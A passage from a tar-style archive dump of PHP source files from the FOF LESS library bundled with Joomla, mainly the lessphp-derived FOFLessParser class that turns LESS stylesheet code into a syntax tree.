*
* @param integer $n How many positions to indent
*
* @return string The indented string
*/
public function indentStr($n = 0)
{
return "";
}
}
formatter/lessjs.php000064400000001470151157711500010570 0ustar00<?php
/**
* @package FrameworkOnFramework
* @subpackage less
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* This class is taken verbatim from:
*
* lessphp v0.3.9
* http://leafo.net/lessphp
*
* LESS css compiler, adapted from http://lesscss.org
*
* Copyright 2012, Leaf Corcoran <leafot@gmail.com>
* Licensed under MIT or GPLv3, see LICENSE
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFLessFormatterLessjs extends FOFLessFormatterClassic
{
public $disableSingle = true;
public $breakSelectors = true;
public $assignSeparator = ": ";
public $selectorSeparator = ",";
}
parser/parser.php000064400000116252151157711500010057 0ustar00<?php
/**
* @package FrameworkOnFramework
* @subpackage less
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* This class is taken verbatim from:
*
* lessphp v0.3.9
* http://leafo.net/lessphp
*
* LESS css compiler, adapted from http://lesscss.org
*
* Copyright 2012, Leaf Corcoran <leafot@gmail.com>
* Licensed under MIT or GPLv3, see LICENSE
*
* Responsible for taking a string of LESS code and converting it into a
syntax tree
*
* @since 2.0
*/
class FOFLessParser
{
// Used to uniquely identify blocks
protected static $nextBlockId = 0;
protected static $precedence = array(
'=<' => 0,
'>=' => 0,
'=' => 0,
'<' => 0,
'>' => 0,
'+' => 1,
'-' => 1,
'*' => 2,
'/' => 2,
'%' => 2,
);
protected static $whitePattern;
protected static $commentMulti;
protected static $commentSingle = "//";
protected static $commentMultiLeft = "/*";
protected static $commentMultiRight = "*/";
// Regex string to match any of the operators
protected static $operatorString;
// These properties will supress division unless it's inside
parenthases
protected static $supressDivisionProps =
array('/border-radius$/i', '/^font$/i');
protected $blockDirectives = array("font-face",
"keyframes", "page", "-moz-document");
protected $lineDirectives = array("charset");
/**
* if we are in parens we can be more liberal with whitespace around
* operators because it must evaluate to a single value and thus is less
* ambiguous.
*
* Consider:
* property1: 10 -5; // is two numbers, 10 and -5
* property2: (10 -5); // should evaluate to 5
*/
protected $inParens = false;
// Caches preg escaped literals
protected static $literalCache = array();
/**
* Constructor
*
* @param [type] $lessc [description]
* @param string $sourceName [description]
*/
public function __construct($lessc, $sourceName = null)
{
$this->eatWhiteDefault = true;
// Reference to less needed for vPrefix, mPrefix, and parentSelector
$this->lessc = $lessc;
// Name used for error messages
$this->sourceName = $sourceName;
$this->writeComments = false;
if (!self::$operatorString)
{
self::$operatorString = '(' . implode('|',
array_map(array('FOFLess', 'preg_quote'),
array_keys(self::$precedence))) . ')';
$commentSingle = FOFLess::preg_quote(self::$commentSingle);
$commentMultiLeft = FOFLess::preg_quote(self::$commentMultiLeft);
$commentMultiRight = FOFLess::preg_quote(self::$commentMultiRight);
self::$commentMulti = $commentMultiLeft . '.*?' .
$commentMultiRight;
self::$whitePattern = '/' . $commentSingle .
'[^\n]*\s*|(' . self::$commentMulti . ')\s*|\s+/Ais';
}
}
/**
* Parse text
*
* @param string $buffer [description]
*
* @return [type] [description]
*/
public function parse($buffer)
{
$this->count = 0;
$this->line = 1;
// Block stack
$this->env = null;
$this->buffer = $this->writeComments ? $buffer :
$this->removeComments($buffer);
$this->pushSpecialBlock("root");
$this->eatWhiteDefault = true;
$this->seenComments = array();
/*
* trim whitespace on head
* if (preg_match('/^\s+/', $this->buffer, $m)) {
* $this->line += substr_count($m[0], "\n");
* $this->buffer = ltrim($this->buffer);
* }
*/
$this->whitespace();
// Parse the entire file
$lastCount = $this->count;
while (false !== $this->parseChunk());
if ($this->count != strlen($this->buffer))
{
$this->throwError();
}
// TODO report where the block was opened
if (!is_null($this->env->parent))
{
throw new exception('parse error: unclosed block');
}
return $this->env;
}
/**
* Parse a single chunk off the head of the buffer and append it to the
* current parse environment.
* Returns false when the buffer is empty, or when there is an error.
*
* This function is called repeatedly until the entire document is
* parsed.
*
* This parser is most similar to a recursive descent parser. Single
* functions represent discrete grammatical rules for the language, and
* they are able to capture the text that represents those rules.
*
* Consider the function lessc::keyword(). (all parse functions are
* structured the same)
*
* The function takes a single reference argument. When calling the
* function it will attempt to match a keyword on the head of the buffer.
* If it is successful, it will place the keyword in the referenced
* argument, advance the position in the buffer, and return true. If it
* fails then it won't advance the buffer and it will return false.
*
* All of these parse functions are powered by lessc::match(), which
behaves
* the same way, but takes a literal regular expression. Sometimes it is
* more convenient to use match instead of creating a new function.
*
* Because of the format of the functions, to parse an entire string of
* grammatical rules, you can chain them together using &&.
*
* But, if some of the rules in the chain succeed before one fails, then
* the buffer position will be left at an invalid state. In order to
* avoid this, lessc::seek() is used to remember and set buffer positions.
*
* Before parsing a chain, use $s = $this->seek() to remember the
current
* position into $s. Then if a chain fails, use $this->seek($s) to
* go back where we started.
*
* @return boolean
*/
protected function parseChunk()
{
if (empty($this->buffer))
{
return false;
}
$s = $this->seek();
// Setting a property
if ($this->keyword($key) && $this->assign()
&& $this->propertyValue($value, $key) &&
$this->end())
{
$this->append(array('assign', $key, $value), $s);
return true;
}
else
{
$this->seek($s);
}
// Look for special css blocks
if ($this->literal('@', false))
{
$this->count--;
// Media
if ($this->literal('@media'))
{
if (($this->mediaQueryList($mediaQueries) || true)
&& $this->literal('{'))
{
$media = $this->pushSpecialBlock("media");
$media->queries = is_null($mediaQueries) ? array() : $mediaQueries;
return true;
}
else
{
$this->seek($s);
return false;
}
}
if ($this->literal("@", false) &&
$this->keyword($dirName))
{
if ($this->isDirective($dirName, $this->blockDirectives))
{
if (($this->openString("{", $dirValue, null,
array(";")) || true)
&& $this->literal("{"))
{
$dir = $this->pushSpecialBlock("directive");
$dir->name = $dirName;
if (isset($dirValue))
{
$dir->value = $dirValue;
}
return true;
}
}
elseif ($this->isDirective($dirName, $this->lineDirectives))
{
if ($this->propertyValue($dirValue) && $this->end())
{
$this->append(array("directive", $dirName, $dirValue));
return true;
}
}
}
$this->seek($s);
}
// Setting a variable
if ($this->variable($var) && $this->assign()
&& $this->propertyValue($value) && $this->end())
{
$this->append(array('assign', $var, $value), $s);
return true;
}
else
{
$this->seek($s);
}
if ($this->import($importValue))
{
$this->append($importValue, $s);
return true;
}
// Opening parametric mixin
if ($this->tag($tag, true) && $this->argumentDef($args,
$isVararg)
&& ($this->guards($guards) || true)
&& $this->literal('{'))
{
$block = $this->pushBlock($this->fixTags(array($tag)));
$block->args = $args;
$block->isVararg = $isVararg;
if (!empty($guards))
{
$block->guards = $guards;
}
return true;
}
else
{
$this->seek($s);
}
// Opening a simple block
if ($this->tags($tags) && $this->literal('{'))
{
$tags = $this->fixTags($tags);
$this->pushBlock($tags);
return true;
}
else
{
$this->seek($s);
}
// Closing a block
if ($this->literal('}', false))
{
try
{
$block = $this->pop();
}
catch (exception $e)
{
$this->seek($s);
$this->throwError($e->getMessage());
}
$hidden = false;
if (is_null($block->type))
{
$hidden = true;
if (!isset($block->args))
{
foreach ($block->tags as $tag)
{
if (!is_string($tag) || $tag[0] != $this->lessc->mPrefix)
{
$hidden = false;
break;
}
}
}
foreach ($block->tags as $tag)
{
if (is_string($tag))
{
$this->env->children[$tag][] = $block;
}
}
}
if (!$hidden)
{
$this->append(array('block', $block), $s);
}
// This is done here so comments aren't bundled into he block that
was just closed
$this->whitespace();
return true;
}
// Mixin
if ($this->mixinTags($tags)
&& ($this->argumentValues($argv) || true)
&& ($this->keyword($suffix) || true)
&& $this->end())
{
$tags = $this->fixTags($tags);
$this->append(array('mixin', $tags, $argv, $suffix), $s);
return true;
}
else
{
$this->seek($s);
}
// Spare ;
if ($this->literal(';'))
{
return true;
}
// Got nothing, throw error
return false;
}
/**
* [isDirective description]
*
* @param string $dirname [description]
* @param [type] $directives [description]
*
* @return boolean
*/
protected function isDirective($dirname, $directives)
{
// TODO: cache pattern in parser
$pattern = implode("|", array_map(array("FOFLess",
"preg_quote"), $directives));
$pattern = '/^(-[a-z-]+-)?(' . $pattern . ')$/i';
return preg_match($pattern, $dirname);
}
/**
* [fixTags description]
*
* @param [type] $tags [description]
*
* @return [type] [description]
*/
protected function fixTags($tags)
{
// Move @ tags out of variable namespace
foreach ($tags as &$tag)
{
if ($tag[0] == $this->lessc->vPrefix)
{
$tag[0] = $this->lessc->mPrefix;
}
}
return $tags;
}
/**
* a list of expressions
*
* @param [type] &$exps [description]
*
* @return boolean
*/
protected function expressionList(&$exps)
{
$values = array();
while ($this->expression($exp))
{
$values[] = $exp;
}
if (count($values) == 0)
{
return false;
}
$exps = FOFLess::compressList($values, ' ');
return true;
}
/**
* Attempt to consume an expression.
*
* @param string &$out [description]
*
* @link
http://en.wikipedia.org/wiki/Operator-precedence_parser#Pseudo-code
*
* @return boolean
*/
protected function expression(&$out)
{
if ($this->value($lhs))
{
$out = $this->expHelper($lhs, 0);
// Look for / shorthand
if (!empty($this->env->supressedDivision))
{
unset($this->env->supressedDivision);
$s = $this->seek();
if ($this->literal("/") && $this->value($rhs))
{
$out = array("list", "",
array($out, array("keyword", "/"), $rhs));
}
else
{
$this->seek($s);
}
}
return true;
}
return false;
}
/**
* Recursively parse infix equation with $lhs at precedence $minP
*
* @param type $lhs [description]
* @param type $minP [description]
*
* @return string
*/
protected function expHelper($lhs, $minP)
{
$this->inExp = true;
$ss = $this->seek();
while (true)
{
$whiteBefore = isset($this->buffer[$this->count - 1]) &&
ctype_space($this->buffer[$this->count - 1]);
// If there is whitespace before the operator, then we require
// whitespace after the operator for it to be an expression
$needWhite = $whiteBefore && !$this->inParens;
if ($this->match(self::$operatorString . ($needWhite ? '\s'
: ''), $m) && self::$precedence[$m[1]] >= $minP)
{
if (!$this->inParens &&
isset($this->env->currentProperty) && $m[1] == "/"
&& empty($this->env->supressedDivision))
{
foreach (self::$supressDivisionProps as $pattern)
{
if (preg_match($pattern, $this->env->currentProperty))
{
$this->env->supressedDivision = true;
break 2;
}
}
}
$whiteAfter = isset($this->buffer[$this->count - 1]) &&
ctype_space($this->buffer[$this->count - 1]);
if (!$this->value($rhs))
{
break;
}
// Peek for next operator to see what to do with rhs
if ($this->peek(self::$operatorString, $next) &&
self::$precedence[$next[1]] > self::$precedence[$m[1]])
{
$rhs = $this->expHelper($rhs, self::$precedence[$next[1]]);
}
$lhs = array('expression', $m[1], $lhs, $rhs, $whiteBefore,
$whiteAfter);
$ss = $this->seek();
continue;
}
break;
}
$this->seek($ss);
return $lhs;
}
/**
* Consume a list of values for a property
*
* @param [type] &$value [description]
* @param [type] $keyName [description]
*
* @return boolean
*/
public function propertyValue(&$value, $keyName = null)
{
$values = array();
if ($keyName !== null)
{
$this->env->currentProperty = $keyName;
}
$s = null;
while ($this->expressionList($v))
{
$values[] = $v;
$s = $this->seek();
if (!$this->literal(','))
{
break;
}
}
if ($s)
{
$this->seek($s);
}
if ($keyName !== null)
{
unset($this->env->currentProperty);
}
if (count($values) == 0)
{
return false;
}
$value = FOFLess::compressList($values, ', ');
return true;
}
/**
* [parenValue description]
*
* @param [type] &$out [description]
*
* @return boolean
*/
protected function parenValue(&$out)
{
$s = $this->seek();
// Speed shortcut
if (isset($this->buffer[$this->count]) &&
$this->buffer[$this->count] != "(")
{
return false;
}
$inParens = $this->inParens;
if ($this->literal("(") && ($this->inParens =
true) && $this->expression($exp) &&
$this->literal(")"))
{
$out = $exp;
$this->inParens = $inParens;
return true;
}
else
{
$this->inParens = $inParens;
$this->seek($s);
}
return false;
}
/**
* a single value
*
* @param [type] &$value [description]
*
* @return boolean
*/
protected function value(&$value)
{
$s = $this->seek();
// Speed shortcut
if (isset($this->buffer[$this->count]) &&
$this->buffer[$this->count] == "-")
{
// Negation
if ($this->literal("-", false)
&&(($this->variable($inner) && $inner =
array("variable", $inner))
|| $this->unit($inner) || $this->parenValue($inner)))
{
$value = array("unary", "-", $inner);
return true;
}
else
{
$this->seek($s);
}
}
if ($this->parenValue($value))
{
return true;
}
if ($this->unit($value))
{
return true;
}
if ($this->color($value))
{
return true;
}
if ($this->func($value))
{
return true;
}
if ($this->string($value))
{
return true;
}
if ($this->keyword($word))
{
$value = array('keyword', $word);
return true;
}
// Try a variable
if ($this->variable($var))
{
$value = array('variable', $var);
return true;
}
// Unquote string (should this work on any type?
if ($this->literal("~") && $this->string($str))
{
$value = array("escape", $str);
return true;
}
else
{
$this->seek($s);
}
// Css hack: \0
if ($this->literal('\\') &&
$this->match('([0-9]+)', $m))
{
$value = array('keyword', '\\' . $m[1]);
return true;
}
else
{
$this->seek($s);
}
return false;
}
/**
* an import statement
*
* @param [type] &$out [description]
*
* @return boolean
*/
protected function import(&$out)
{
$s = $this->seek();
if (!$this->literal('@import'))
{
return false;
}
/*
* @import "something.css" media;
* @import url("something.css") media;
* @import url(something.css) media;
*/
if ($this->propertyValue($value))
{
$out = array("import", $value);
return true;
}
}
/**
* [mediaQueryList description]
*
* @param [type] &$out [description]
*
* @return boolean
*/
protected function mediaQueryList(&$out)
{
if ($this->genericList($list, "mediaQuery", ",",
false))
{
$out = $list[2];
return true;
}
return false;
}
/**
* [mediaQuery description]
*
* @param [type] &$out [description]
*
* @return [type] [description]
*/
protected function mediaQuery(&$out)
{
$s = $this->seek();
$expressions = null;
$parts = array();
if (($this->literal("only") && ($only = true) ||
$this->literal("not") && ($not = true) || true)
&& $this->keyword($mediaType))
{
$prop = array("mediaType");
if (isset($only))
{
$prop[] = "only";
}
if (isset($not))
{
$prop[] = "not";
}
$prop[] = $mediaType;
$parts[] = $prop;
}
else
{
$this->seek($s);
}
if (!empty($mediaType) && !$this->literal("and"))
{
// ~
}
else
{
$this->genericList($expressions, "mediaExpression",
"and", false);
if (is_array($expressions))
{
$parts = array_merge($parts, $expressions[2]);
}
}
if (count($parts) == 0)
{
$this->seek($s);
return false;
}
$out = $parts;
return true;
}
/**
* [mediaExpression description]
*
* @param [type] &$out [description]
*
* @return boolean
*/
protected function mediaExpression(&$out)
{
$s = $this->seek();
$value = null;
if ($this->literal("(") &&
$this->keyword($feature) && ($this->literal(":")
&& $this->expression($value) || true) &&
$this->literal(")"))
{
$out = array("mediaExp", $feature);
if ($value)
{
$out[] = $value;
}
return true;
}
elseif ($this->variable($variable))
{
$out = array('variable', $variable);
return true;
}
$this->seek($s);
return false;
}
/**
* An unbounded string stopped by $end
*
* @param [type] $end [description]
* @param [type] &$out [description]
* @param [type] $nestingOpen [description]
* @param [type] $rejectStrs [description]
*
* @return boolean
*/
protected function openString($end, &$out, $nestingOpen = null,
$rejectStrs = null)
{
$oldWhite = $this->eatWhiteDefault;
$this->eatWhiteDefault = false;
$stop = array("'", '"', "@{",
$end);
$stop = array_map(array("FOFLess", "preg_quote"),
$stop);
// $stop[] = self::$commentMulti;
if (!is_null($rejectStrs))
{
$stop = array_merge($stop, $rejectStrs);
}
$patt = '(.*?)(' . implode("|", $stop) .
')';
$nestingLevel = 0;
$content = array();
while ($this->match($patt, $m, false))
{
if (!empty($m[1]))
{
$content[] = $m[1];
if ($nestingOpen)
{
$nestingLevel += substr_count($m[1], $nestingOpen);
}
}
$tok = $m[2];
$this->count -= strlen($tok);
if ($tok == $end)
{
if ($nestingLevel == 0)
{
break;
}
else
{
$nestingLevel--;
}
}
if (($tok == "'" || $tok == '"')
&& $this->string($str))
{
$content[] = $str;
continue;
}
if ($tok == "@{" && $this->interpolation($inter))
{
$content[] = $inter;
continue;
}
if (in_array($tok, $rejectStrs))
{
$count = null;
break;
}
$content[] = $tok;
$this->count += strlen($tok);
}
$this->eatWhiteDefault = $oldWhite;
if (count($content) == 0)
return false;
// Trim the end
if (is_string(end($content)))
{
$content[count($content) - 1] = rtrim(end($content));
}
$out = array("string", "", $content);
return true;
}
/**
* [string description]
*
* @param [type] &$out [description]
*
* @return boolean
*/
protected function string(&$out)
{
$s = $this->seek();
if ($this->literal('"', false))
{
$delim = '"';
}
elseif ($this->literal("'", false))
{
$delim = "'";
}
else
{
return false;
}
$content = array();
// Look for either ending delim , escape, or string interpolation
$patt = '([^\n]*?)(@\{|\\\\|' . FOFLess::preg_quote($delim) .
')';
$oldWhite = $this->eatWhiteDefault;
$this->eatWhiteDefault = false;
while ($this->match($patt, $m, false))
{
$content[] = $m[1];
if ($m[2] == "@{")
{
$this->count -= strlen($m[2]);
if ($this->interpolation($inter, false))
{
$content[] = $inter;
}
else
{
$this->count += strlen($m[2]);
// Ignore it
$content[] = "@{";
}
}
elseif ($m[2] == '\\')
{
$content[] = $m[2];
if ($this->literal($delim, false))
{
$content[] = $delim;
}
}
else
{
$this->count -= strlen($delim);
// Delim
break;
}
}
$this->eatWhiteDefault = $oldWhite;
if ($this->literal($delim))
{
$out = array("string", $delim, $content);
return true;
}
$this->seek($s);
return false;
}
/**
* [interpolation description]
*
* @param [type] &$out [description]
*
* @return boolean
*/
protected function interpolation(&$out)
{
$oldWhite = $this->eatWhiteDefault;
$this->eatWhiteDefault = true;
$s = $this->seek();
if ($this->literal("@{") &&
$this->openString("}", $interp, null,
array("'", '"', ";")) &&
$this->literal("}", false))
{
$out = array("interpolate", $interp);
$this->eatWhiteDefault = $oldWhite;
if ($this->eatWhiteDefault)
{
$this->whitespace();
}
return true;
}
$this->eatWhiteDefault = $oldWhite;
$this->seek($s);
return false;
}
/**
* [unit description]
*
* @param [type] &$unit [description]
*
* @return boolean
*/
protected function unit(&$unit)
{
// Speed shortcut
if (isset($this->buffer[$this->count]))
{
$char = $this->buffer[$this->count];
if (!ctype_digit($char) && $char != ".")
{
return false;
}
}
if
($this->match('([0-9]+(?:\.[0-9]*)?|\.[0-9]+)([%a-zA-Z]+)?',
$m))
{
$unit = array("number", $m[1], empty($m[2]) ? "" :
$m[2]);
return true;
}
return false;
}
/**
* a # color
*
* @param [type] &$out [description]
*
* @return boolean
*/
protected function color(&$out)
{
if
($this->match('(#(?:[0-9a-f]{8}|[0-9a-f]{6}|[0-9a-f]{3}))',
$m))
{
if (strlen($m[1]) > 7)
{
$out = array("string", "", array($m[1]));
}
else
{
$out = array("raw_color", $m[1]);
}
return true;
}
return false;
}
/**
* Consume a list of property values delimited by ; and wrapped in ()
*
* @param [type] &$args [description]
* @param [type] $delim [description]
*
* @return boolean
*/
protected function argumentValues(&$args, $delim = ',')
{
$s = $this->seek();
if (!$this->literal('('))
{
return false;
}
$values = array();
while (true)
{
if ($this->expressionList($value))
{
$values[] = $value;
}
if (!$this->literal($delim))
{
break;
}
else
{
if ($value == null)
{
$values[] = null;
}
$value = null;
}
}
if (!$this->literal(')'))
{
$this->seek($s);
return false;
}
$args = $values;
return true;
}
/**
* Consume an argument definition list surrounded by ()
* each argument is a variable name with optional value
* or at the end a ... or a variable named followed by ...
*
* @param [type] &$args [description]
* @param [type] &$isVararg [description]
* @param [type] $delim [description]
*
* @return boolean
*/
protected function argumentDef(&$args, &$isVararg, $delim =
',')
{
$s = $this->seek();
if (!$this->literal('('))
return false;
$values = array();
$isVararg = false;
while (true)
{
if ($this->literal("..."))
{
$isVararg = true;
break;
}
if ($this->variable($vname))
{
$arg = array("arg", $vname);
$ss = $this->seek();
if ($this->assign() && $this->expressionList($value))
{
$arg[] = $value;
}
else
{
$this->seek($ss);
if ($this->literal("..."))
{
$arg[0] = "rest";
$isVararg = true;
}
}
$values[] = $arg;
if ($isVararg)
{
break;
}
continue;
}
if ($this->value($literal))
{
$values[] = array("lit", $literal);
}
if (!$this->literal($delim))
{
break;
}
}
if (!$this->literal(')'))
{
$this->seek($s);
return false;
}
$args = $values;
return true;
}
/**
* Consume a list of tags
* This accepts a hanging delimiter
*
* @param [type] &$tags [description]
* @param [type] $simple [description]
* @param [type] $delim [description]
*
* @return boolean
*/
protected function tags(&$tags, $simple = false, $delim =
',')
{
$tags = array();
while ($this->tag($tt, $simple))
{
$tags[] = $tt;
if (!$this->literal($delim))
{
break;
}
}
if (count($tags) == 0)
{
return false;
}
return true;
}
/**
* List of tags of specifying mixin path
* Optionally separated by > (lazy, accepts extra >)
*
* @param [type] &$tags [description]
*
* @return boolean
*/
protected function mixinTags(&$tags)
{
$s = $this->seek();
$tags = array();
while ($this->tag($tt, true))
{
$tags[] = $tt;
$this->literal(">");
}
if (count($tags) == 0)
{
return false;
}
return true;
}
/**
* A bracketed value (contained within in a tag definition)
*
* @param [type] &$value [description]
*
* @return boolean
*/
protected function tagBracket(&$value)
{
// Speed shortcut
if (isset($this->buffer[$this->count]) &&
$this->buffer[$this->count] != "[")
{
return false;
}
$s = $this->seek();
if ($this->literal('[') &&
$this->to(']', $c, true) &&
$this->literal(']', false))
{
$value = '[' . $c . ']';
// Whitespace?
if ($this->whitespace())
{
$value .= " ";
}
// Escape parent selector, (yuck)
$value = str_replace($this->lessc->parentSelector,
"$&$", $value);
return true;
}
$this->seek($s);
return false;
}
/**
* [tagExpression description]
*
* @param [type] &$value [description]
*
* @return boolean
*/
protected function tagExpression(&$value)
{
$s = $this->seek();
if ($this->literal("(") &&
$this->expression($exp) && $this->literal(")"))
{
$value = array('exp', $exp);
return true;
}
$this->seek($s);
return false;
}
/**
* A single tag
*
* @param [type] &$tag [description]
* @param boolean $simple [description]
*
* @return boolean
*/
protected function tag(&$tag, $simple = false)
{
if ($simple)
{
$chars = '^@,:;{}\][>\(\) "\'';
}
else
{
$chars = '^@,;{}["\'';
}
$s = $this->seek();
if (!$simple && $this->tagExpression($tag))
{
return true;
}
$hasExpression = false;
$parts = array();
while ($this->tagBracket($first))
{
$parts[] = $first;
}
$oldWhite = $this->eatWhiteDefault;
$this->eatWhiteDefault = false;
while (true)
{
if ($this->match('([' . $chars . '0-9][' . $chars
. ']*)', $m))
{
$parts[] = $m[1];
if ($simple)
{
break;
}
while ($this->tagBracket($brack))
{
$parts[] = $brack;
}
continue;
}
if (isset($this->buffer[$this->count]) &&
$this->buffer[$this->count] == "@")
{
if ($this->interpolation($interp))
{
$hasExpression = true;
// Don't unescape
$interp[2] = true;
$parts[] = $interp;
continue;
}
if ($this->literal("@"))
{
$parts[] = "@";
continue;
}
}
// For keyframes
if ($this->unit($unit))
{
$parts[] = $unit[1];
$parts[] = $unit[2];
continue;
}
break;
}
$this->eatWhiteDefault = $oldWhite;
if (!$parts)
{
$this->seek($s);
return false;
}
if ($hasExpression)
{
$tag = array("exp", array("string", "",
$parts));
}
else
{
$tag = trim(implode($parts));
}
$this->whitespace();
return true;
}
/**
* A css function
*
* @param [type] &$func [description]
*
* @return boolean
*/
protected function func(&$func)
{
$s = $this->seek();
if ($this->match('(%|[\w\-_][\w\-_:\.]+|[\w_])', $m)
&& $this->literal('('))
{
$fname = $m[1];
$sPreArgs = $this->seek();
$args = array();
while (true)
{
$ss = $this->seek();
// This ugly nonsense is for ie filter properties
if ($this->keyword($name) &&
$this->literal('=') &&
$this->expressionList($value))
{
$args[] = array("string", "", array($name,
"=", $value));
}
else
{
$this->seek($ss);
if ($this->expressionList($value))
{
$args[] = $value;
}
}
if (!$this->literal(','))
{
break;
}
}
$args = array('list', ',', $args);
if ($this->literal(')'))
{
$func = array('function', $fname, $args);
return true;
}
elseif ($fname == 'url')
{
// Couldn't parse and in url? treat as string
$this->seek($sPreArgs);
if ($this->openString(")", $string) &&
$this->literal(")"))
{
$func = array('function', $fname, $string);
return true;
}
}
}
$this->seek($s);
return false;
}
/**
* Consume a less variable
*
* @param [type] &$name [description]
*
* @return boolean
*/
protected function variable(&$name)
{
$s = $this->seek();
if ($this->literal($this->lessc->vPrefix, false)
&& ($this->variable($sub) || $this->keyword($name)))
{
if (!empty($sub))
{
$name = array('variable', $sub);
}
else
{
$name = $this->lessc->vPrefix . $name;
}
return true;
}
$name = null;
$this->seek($s);
return false;
}
/**
* Consume an assignment operator
* Can optionally take a name that will be set to the current property
name
*
* @param string $name [description]
*
* @return boolean
*/
protected function assign($name = null)
{
if ($name)
{
$this->currentProperty = $name;
}
return $this->literal(':') ||
$this->literal('=');
}
/**
* Consume a keyword
*
* @param [type] &$word [description]
*
* @return boolean
*/
protected function keyword(&$word)
{
if ($this->match('([\w_\-\*!"][\w\-_"]*)', $m))
{
$word = $m[1];
return true;
}
return false;
}
/**
* Consume an end of statement delimiter
*
* @return boolean
*/
protected function end()
{
if ($this->literal(';'))
{
return true;
}
elseif ($this->count == strlen($this->buffer) ||
$this->buffer[$this->count] == '}')
{
// If there is end of file or a closing block next then we don't
need a ;
return true;
}
return false;
}
/**
* [guards description]
*
* @param [type] &$guards [description]
*
* @return boolean
*/
protected function guards(&$guards)
{
$s = $this->seek();
if (!$this->literal("when"))
{
$this->seek($s);
return false;
}
$guards = array();
while ($this->guardGroup($g))
{
$guards[] = $g;
if (!$this->literal(","))
{
break;
}
}
if (count($guards) == 0)
{
$guards = null;
$this->seek($s);
return false;
}
return true;
}
/**
* A bunch of guards that are and'd together
*
* @param [type] &$guardGroup [description]
*
* @todo rename to guardGroup
*
* @return boolean
*/
protected function guardGroup(&$guardGroup)
{
$s = $this->seek();
$guardGroup = array();
while ($this->guard($guard))
{
$guardGroup[] = $guard;
if (!$this->literal("and"))
{
break;
}
}
if (count($guardGroup) == 0)
{
$guardGroup = null;
$this->seek($s);
return false;
}
return true;
}
/**
* [guard description]
*
* @param [type] &$guard [description]
*
* @return boolean
*/
protected function guard(&$guard)
{
$s = $this->seek();
$negate = $this->literal("not");
if ($this->literal("(") &&
$this->expression($exp) && $this->literal(")"))
{
$guard = $exp;
if ($negate)
{
$guard = array("negate", $guard);
}
return true;
}
$this->seek($s);
return false;
}
/* raw parsing functions */
/**
* [literal description]
*
* @param [type] $what [description]
* @param [type] $eatWhitespace [description]
*
* @return boolean
*/
protected function literal($what, $eatWhitespace = null)
{
if ($eatWhitespace === null)
{
$eatWhitespace = $this->eatWhiteDefault;
}
// Shortcut on single letter
if (!isset($what[1]) && isset($this->buffer[$this->count]))
{
if ($this->buffer[$this->count] == $what)
{
if (!$eatWhitespace)
{
$this->count++;
return true;
}
}
else
{
return false;
}
}
if (!isset(self::$literalCache[$what]))
{
self::$literalCache[$what] = FOFLess::preg_quote($what);
}
return $this->match(self::$literalCache[$what], $m, $eatWhitespace);
}
/**
* [genericList description]
*
* @param [type] &$out [description]
* @param [type] $parseItem [description]
* @param string $delim [description]
* @param boolean $flatten [description]
*
* @return boolean
*/
protected function genericList(&$out, $parseItem, $delim =
"", $flatten = true)
{
$s = $this->seek();
$items = array();
while ($this->$parseItem($value))
{
$items[] = $value;
if ($delim)
{
if (!$this->literal($delim))
{
break;
}
}
}
if (count($items) == 0)
{
$this->seek($s);
return false;
}
if ($flatten && count($items) == 1)
{
$out = $items[0];
}
else
{
$out = array("list", $delim, $items);
}
return true;
}
/**
* Advance counter to next occurrence of $what
* $until - don't include $what in advance
* $allowNewline, if string, will be used as valid char set
*
* @param [type] $what [description]
* @param [type] &$out [description]
* @param boolean $until [description]
* @param boolean $allowNewline [description]
*
* @return boolean
*/
protected function to($what, &$out, $until = false, $allowNewline =
false)
{
if (is_string($allowNewline))
{
$validChars = $allowNewline;
}
else
{
$validChars = $allowNewline ? "." : "[^\n]";
}
if (!$this->match('(' . $validChars . '*?)' .
FOFLess::preg_quote($what), $m, !$until))
{
return false;
}
if ($until)
{
// Give back $what
$this->count -= strlen($what);
}
$out = $m[1];
return true;
}
/**
* Try to match something on head of buffer
*
* @param [type] $regex [description]
* @param [type] &$out [description]
* @param [type] $eatWhitespace [description]
*
* @return boolean
*/
protected function match($regex, &$out, $eatWhitespace = null)
{
if ($eatWhitespace === null)
{
$eatWhitespace = $this->eatWhiteDefault;
}
$r = '/' . $regex . ($eatWhitespace &&
!$this->writeComments ? '\s*' : '') .
'/Ais';
if (preg_match($r, $this->buffer, $out, null, $this->count))
{
$this->count += strlen($out[0]);
if ($eatWhitespace && $this->writeComments)
{
$this->whitespace();
}
return true;
}
return false;
}
/**
* Watch some whitespace
*
* @return boolean
*/
protected function whitespace()
{
if ($this->writeComments)
{
$gotWhite = false;
while (preg_match(self::$whitePattern, $this->buffer, $m, null,
$this->count))
{
if (isset($m[1]) &&
empty($this->commentsSeen[$this->count]))
{
$this->append(array("comment", $m[1]));
$this->commentsSeen[$this->count] = true;
}
$this->count += strlen($m[0]);
$gotWhite = true;
}
return $gotWhite;
}
else
{
$this->match("", $m);
return strlen($m[0]) > 0;
}
}
/**
* Match something without consuming it
*
* @param [type] $regex [description]
* @param [type] &$out [description]
* @param [type] $from [description]
*
* @return boolean
*/
protected function peek($regex, &$out = null, $from = null)
{
if (is_null($from))
{
$from = $this->count;
}
$r = '/' . $regex . '/Ais';
$result = preg_match($r, $this->buffer, $out, null, $from);
return $result;
}
/**
* Seek to a spot in the buffer or return where we are on no argument
*
* @param [type] $where [description]
*
* @return boolean
*/
protected function seek($where = null)
{
if ($where === null)
{
return $this->count;
}
else
{
$this->count = $where;
}
return true;
}
/* misc functions */
/**
* [throwError description]
*
* @param string $msg [description]
* @param [type] $count [description]
*
* @return void
*/
public function throwError($msg = "parse error", $count = null)
{
$count = is_null($count) ? $this->count : $count;
$line = $this->line + substr_count(substr($this->buffer, 0,
$count), "\n");
if (!empty($this->sourceName))
{
$loc = "$this->sourceName on line $line";
}
else
{
$loc = "line: $line";
}
// TODO this depends on $this->count
if ($this->peek("(.*?)(\n|$)", $m, $count))
{
throw new exception("$msg: failed at `$m[1]` $loc");
}
else
{
throw new exception("$msg: $loc");
}
}
/**
* [pushBlock description]
*
* @param [type] $selectors [description]
* @param [type] $type [description]
*
* @return stdClass
*/
